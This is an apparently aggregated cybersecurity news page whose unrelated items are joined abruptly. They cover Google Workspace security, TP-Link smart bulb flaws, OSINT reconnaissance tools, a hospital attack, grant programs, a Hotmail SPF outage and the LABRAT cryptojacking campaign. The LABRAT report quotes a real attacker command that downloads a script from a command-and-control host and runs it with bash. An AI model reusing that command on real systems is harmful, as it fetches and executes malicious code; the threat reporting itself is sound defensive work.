With the rise in cyberattacks and cybercriminals, every organization must implement multiple security measures and monitor every piece of traffic to prevent these kinds of cyberattacks.
Google announced security enhancements to Google Workspace focused on enhancing threat defense controls with Google AI.
Image: Urupong/Adobe Stock
At a Google Cloud press event on Tuesday, the company announced Google Cloud’s rollout over the course of this year of new AI-powered data security tools bringing zero-trust features to Workspace, Drive, Gmail and data sovereignty. The enhancements to Google Drive, Gmail, the company’s security tools for IT and security center teams and more are designed to help global companies keep their data under lock and encrypted key and security operators outrun advancing threats.
The Internet of Things (IoT) is currently at its peak, with a rapid expansion of capabilities. This involves converting everyday items like light bulbs and plugs into smart devices controlled via smartphones. The number of IoT devices exceeded 13.8 billion in 2021, expected to quadruple by 2025, but this growth also introduces security risks exploited by cybercriminals. Researchers have discovered that even smart light bulbs, like the Tp-Link Tapo Smart Wi-Fi Multicolor Light Bulb, can be hacked to gather Wi-Fi credentials. They employed PETIoT, an IoT-focused Kill Chain, to assess vulnerabilities in these bulbs. This situation highlights challenges for cybersecurity experts dealing with the growing threats in the IoT landscape.
Because it is a cloud-enabled multicolor smart bulb, the Tapo L530E may be operated using the Tapo app on an Android or iOS device without the need for a hub. Instead, it connects directly to the home Wi-Fi network. According to the findings of the researchers, this particular kind of smart bulb is susceptible to each of the following four vulnerabilities:
LACK OF AUTHENTICATION OF THE SMART BULB WITH THE TAPO APP (8.8 CVSS SCORE, HIGH SEVERITY)
HARD-CODED, SHORT SHARED SECRET (7.6 CVSS SCORE, HIGH SEVERITY)
LACK OF RANDOMNESS DURING SYMMETRIC ENCRYPTION (4.6 CVSS SCORE, MEDIUM SEVERITY)
INSUFFICIENT MESSAGE FRESHNESS (5.7 CVSS SCORE, MEDIUM SEVERITY)
The examination and testing carried out by the security experts indicate the proximity-based attacks that were carried out on the smart bulb that was the target.The attack scenario that causes the greatest concern is one in which an attacker impersonates a bulb and retrieves information about a Tapo user account by exploiting vulnerabilities.
After that, the attacker may extract the victim’s WiFi SSID and password by using the Tapo app, allowing them to obtain access to any and all other devices that are connected to the victim’s network.
In order for the attack to be successful, the device in question must first be put into setup mode. However, the attacker has the ability to deauthenticate the bulb, which will need the user to re-configure it in order to get the light to work again.The researchers also investigated an MITM (Man-In-The-Middle) attack using a configured Tapo L530E device. This form of attack takes advantage of a vulnerability to intercept and control the connection between the app and the bulb, as well as to capture the RSA encryption keys that are used for further data transmission.
MITM attacks are also possible with unconfigured Tapo devices by leveraging a vulnerability once again by connecting to the WiFi during the setup process, bridging two networks, and routing discovery messages. This will eventually allow the attacker to retrieve Tapo passwords, SSIDs, and WiFi passwords in an easily decipherable base64 encoded form. Last but not least, a further flaw enables attackers to conduct what are known as “replay attacks.” These attacks involve recreating communications that have been sniffed in the past in order to bring about functional changes in the device.
In response, TP-Link gave the researchers their assurance that the issues that were found in their software as well as the firmware of the bulb will be fixed.
The OWASP Amass project performs network mapping of attack surfaces and external asset discovery using open-source information gathering and active reconnaissance techniques.
Osmedeus
Osmedeus is a workflow engine for offensive security that allows you to build and run a reconnaissance system on a wide range of targets, including domains, URLs, CIDRs, and GitHub repositories. It was designed to establish a strong foundation and can adapt and function automatically to perform reconnaissance tasks.
PhoneInfoga
PhoneInfoga is an advanced tool to scan international phone numbers. It allows you to gather basic information such as country, area, carrier, and line type, then use various techniques to find the VoIP provider or identify the owner. It works with a collection of scanners that must be configured for the tool to be effective.
Sherlock
Sherlock allows you to search social media accounts by username across social networks.
Shodan
Shodan is a search engine for Internet-connected devices. Discover how internet intelligence can help you make better decisions. The entire Shodan platform (crawling, IP lookups, searching, and data streaming) is available to developers. Use their API to understand whether users connect from a VPN, whether the website you’re visiting has been compromised, and more.
Social Analyzer
Social Analyzer is an API, CLI, and web app for analyzing and finding a person’s profile across social media and websites. It includes different analysis and detection modules; you can choose which modules to use during the investigation process. The analysis and public extracted information from this OSINT tool could help investigate profiles related to suspicious or malicious activities such as cyberbullying, cyber grooming, cyberstalking, and spreading misinformation.
SpiderFoot
SpiderFoot is an OSINT automation tool. It integrates with just about every data source available and utilizes a range of methods for data analysis, making that data easy to navigate. SpiderFoot has an embedded web-server for providing a clean and intuitive web-based interface but can also be used completely via the command-line.
theHarvester
theHarvester is a simple to use, yet powerful tool designed to be used during the reconnaissance stage of a red team assessment or penetration test. It performs OSINT gathering to help determine a domain’s external threat landscape. The tool gathers names, emails, IPs, subdomains, and URLs by using multiple public resources.
One of Mississippi’s largest hospital systems, Singing River Health System, suffered a cyberattack last week, leading to the shutdown of various internal services. The hospital system, which operates multiple hospitals and clinics along the Gulf Coast, detected unusual activity on its network and is cooperating with law enforcement. As a result of the attack, certain internal systems were taken offline to ensure their integrity during the investigation. The hospital’s IT security team is working to restore the offline systems, but the process is expected to take time. The hospital has not confirmed whether the attack involved ransomware or if a ransom will be paid. Patient services, including lab test results and radiology exams, are facing delays due to the attack. The incident highlights the ongoing challenges that hospitals face from cyberattacks, as this year has seen several healthcare institutions targeted by such attacks.
A Chief Information Security Officer (CISO) is vital for safeguarding an organization’s digital assets. They oversee sensitive data security, combat cyber threats, and uphold data integrity. The CISO devises security strategies, partners with stakeholders, and addresses vulnerabilities. The Help Net Security roundup showcases insights from experts through recorded videos, highlighting the pivotal responsibilities and challenges that characterize the role of CISOs.
Complete videos
Josh Yavor, CISO at Tessian, offers a personal perspective on dealing with burnout as a CISO.
Kaus Phaltankar, CEO at Caveonix discusses how in today’s complex multi-cloud landscape, the role of CISOs is more crucial than ever.
Daniel Deeney, CEO at Paladin Cloud, discusses how companies face difficulties identifying security threats within cloud environments.
Chris Groot, General Manager of Cove Data Protection at N-able, discusses enterprise CISOs’ challenges with disaster recovery.
Israel and US government agencies announced the BIRD Cyber Program, an investment of roughly $4M in projects to enhance the cyber resilience of critical infrastructure.
The BIRD Cyber Program is a joint initiative from the Israel National Cyber Directorate (INCD), the Israel-US Binational Industrial Research and Development (BIRD) Foundation, and the US Department of Homeland Security (DHS) Science and Technology Directorate (S&T) to promote projects to enhance the cyber resilience of critical infrastructure in both countries.
The program is managed by the BIRD Foundation, a non-profit organization that supports joint research activities between Israeli and American organizations. The initiative plans to invest $3.85 million in projects to develop cutting-edge defense solutions.
The total value of the projects will be increased to approximately $10 million through private-sector funding.
The initiative aims at developing new solutions for detecting and preventing cyberattacks, technologies to protect sensitive data, and improve the security of critical infrastructure systems.
The BIRD foundation provides funding of up to 50% for each approved project, it is important to note that no repayment is required if the project does not reach the sales stage.
The BIRD Cyber Program also provides mentoring for the growth of the projects.
Below are the eligibility requirements for the BIRD Cyber Program:
The project must be a joint venture between an Israeli and an American company.
The project must focus on cybersecurity or emerging technologies.
The project must have the potential to enhance the cyber resilience of critical infrastructure.
The project must be at the prototype or early development stage.
The BIRD Cyber Program will award four grants for projects related the maritime sectors, airport and air traffic, and industrial control systems (ICS).
Below are the projects approved:
Rescana (Tel-Aviv, Israel) and Trend Micro (Irving, TX) – which will develop an operational cyber threat intelligence capability to inform cyber risk maritime decision-making.
Salvador Technologies (Rehovot, Israel) and Bastazo (Fayetteville, AR) – which will develop a solution for Industrial Control Systems (ICS) vulnerability management, monitoring, and rapid recovery from cyber-attacks.
Cyber 2.0 (Rishon Letzion, Israel) and Cincinnati / Northern Kentucky International Airport (Hebron, KY) – which will develop a platform for airports and air traffic that provides continuous cyber visibility, real-time monitoring, and data traffic detection to reduce risks and boost compliance with regulations.
A fourth project – which will develop an airport cyber protection solution across the entire attack surface.
The above projects were submitted in response to the first BIRD Cyber call.
“We are pleased to jointly invest with our Israeli partners in these innovative projects and anticipate that they will deliver new capabilities to enhance the cybersecurity posture and overall resilience of vital critical sectors in both nations,” said Megan Mahle, Director of the DHS S&T Office of Industry Partnerships. Aviram Atzaba, Executive Director for International Cooperation of INCD, added: “We are proud to partner with DHS to develop cutting-edge solutions for small and medium-sized businesses and critical infrastructure cybersecurity… The BIRD mechanism continues to strengthen the strategic alliance between Israel and the United States.”
A new campaign called LABRAT is targeting GitLab with cryptojacking and proxyjacking.
LABRAT, a financially motivated operation, has been uncovered by the Sysdig Threat Research Team (TRT). Notably, the attackers have prioritized stealth and defense evasion tactics.
The LABRAT attackers used an open-source rootkit called hiding-cryptominers-linux-rootkit to conceal their crypto-mining activity by hiding files, processes, and CPU usage.
Technical Analysis – GitLab exploitation
The attacker gained initial access to a container by exploiting the known GitLab vulnerability, CVE-2021-22205. In this vulnerability, GitLab does not properly validate image files passed to a file parser, resulting in a remote command execution. There are many public exploits for this vulnerability, which is still actively exploited.
Once the attacker had access to the server, they executed the following command to download a malicious script from the C2 server. curl -kL -u lucifer:369369 https://passage-television-gardening-venue[.]trycloudflare.com/v3 | bash
The initial script allowed the attacker to achieve persistence, evade defenses, and perform lateral movement through the following actions:
Check whether or not the watchdog process was already running to kill it.
Delete malicious files if they exist from a previous run.
Disable Tencent Cloud and Alibaba’s defensive measures, a recurring feature of many attackers.
Download malicious binaries.
Create a new service with one of these binaries and if root, ran it on the fly.
Modify various cron files to maintain persistence.
Gather SSH keys to connect to those machines and start the process again, doing lateral movement.
Deletes any evidence that the above processes may have generated.
Someone at Microsoft has some explaining to do after a messed up DNS record caused emails sent from Hotmail accounts using Microsoft’s Outlook service to be rejected and directed to spam folders starting on Thursday.
Late on Thursday evening, Hotmail users began reporting that some emails were being returned with errors related to Sender Policy Framework (SPF), and thus recipient email services were unable “to confirm that [a] message came from a trusted location.”
SPF, for those unfamiliar with it, is a method of outbound email authentication that helps avoid email spoofing, impersonation and phishing. If, for example, a service like Hotmail were to have one of its subdomains removed from the DNS TXT record that stores its SPF list, then recipient services may assume it’s junk.
And that appears to be just what happened.
Reddit users posting to the Sysadmin subreddit verified they were experiencing SPF issues with Hotmail. One user pulled up Hotmail’s SPF record and found that Redmond had made two changes: removing spf.protection.outlook.com from the record, and changing the SPF failure condition from soft to hard. That meant any suspicious messages from Hotmail should be rejected rather than just sent to spam.
Microsoft support forum advisors confirmed that the issue was known, which was further confirmed by a look at the Office service status page. Per Microsoft: “Some users may receive non-delivery reports when attempting to send emails from hotmail.com.”
At time of writing, the status page indicated that “a recent change to email authentication” was the potential root cause of the outage. Microsoft said it made a configuration change to remediate impact, but shortly after said the problem may have been worse than it appeared at first glance.
“We’ve identified that additional configuration entries are impacted, and we’re implementing further configuration changes to resolve the issue,” Microsoft said. Not long after that was posted, Microsoft indicated configuration changes were complete and the problem was fixed.
Microsoft didn’t respond to our questions about the incident, only saying the issue had been resolved.
In 2022, global losses from business email compromise (BEC) and email account compromise (EAC) attacks reached a record-breaking $43 billion, as reported by the FBI. Major cybersecurity companies like Microsoft and Trend Micro noted a surge in advanced phishing attacks earlier in the year, resulting in significant financial damages to organizations of all sizes. Concerns have risen among security experts about the potential for a surge in email credential attacks due to the widespread availability of generative AI technologies like ChatGPT. These attacks could range from simple social engineering tactics to complex schemes involving domain-squatting and spear-phishing, taking advantage of previously stolen personal information. Despite increasing spending on corporate cybersecurity, the risk of such attacks continues to rise.
To aid organizations in evaluating their vulnerability to email-related security, privacy, and compliance risks, ImmuniWeb has introduced a free email security test as part of its Community Edition. This online tool performs over 200,000 security scans daily, helping small and medium-sized enterprises, educational institutions, non-profits, municipal governments, and individual developers identify a wide range of cybersecurity and compliance issues. The aim is to bolster foundational cyber resilience and information security for these entities.
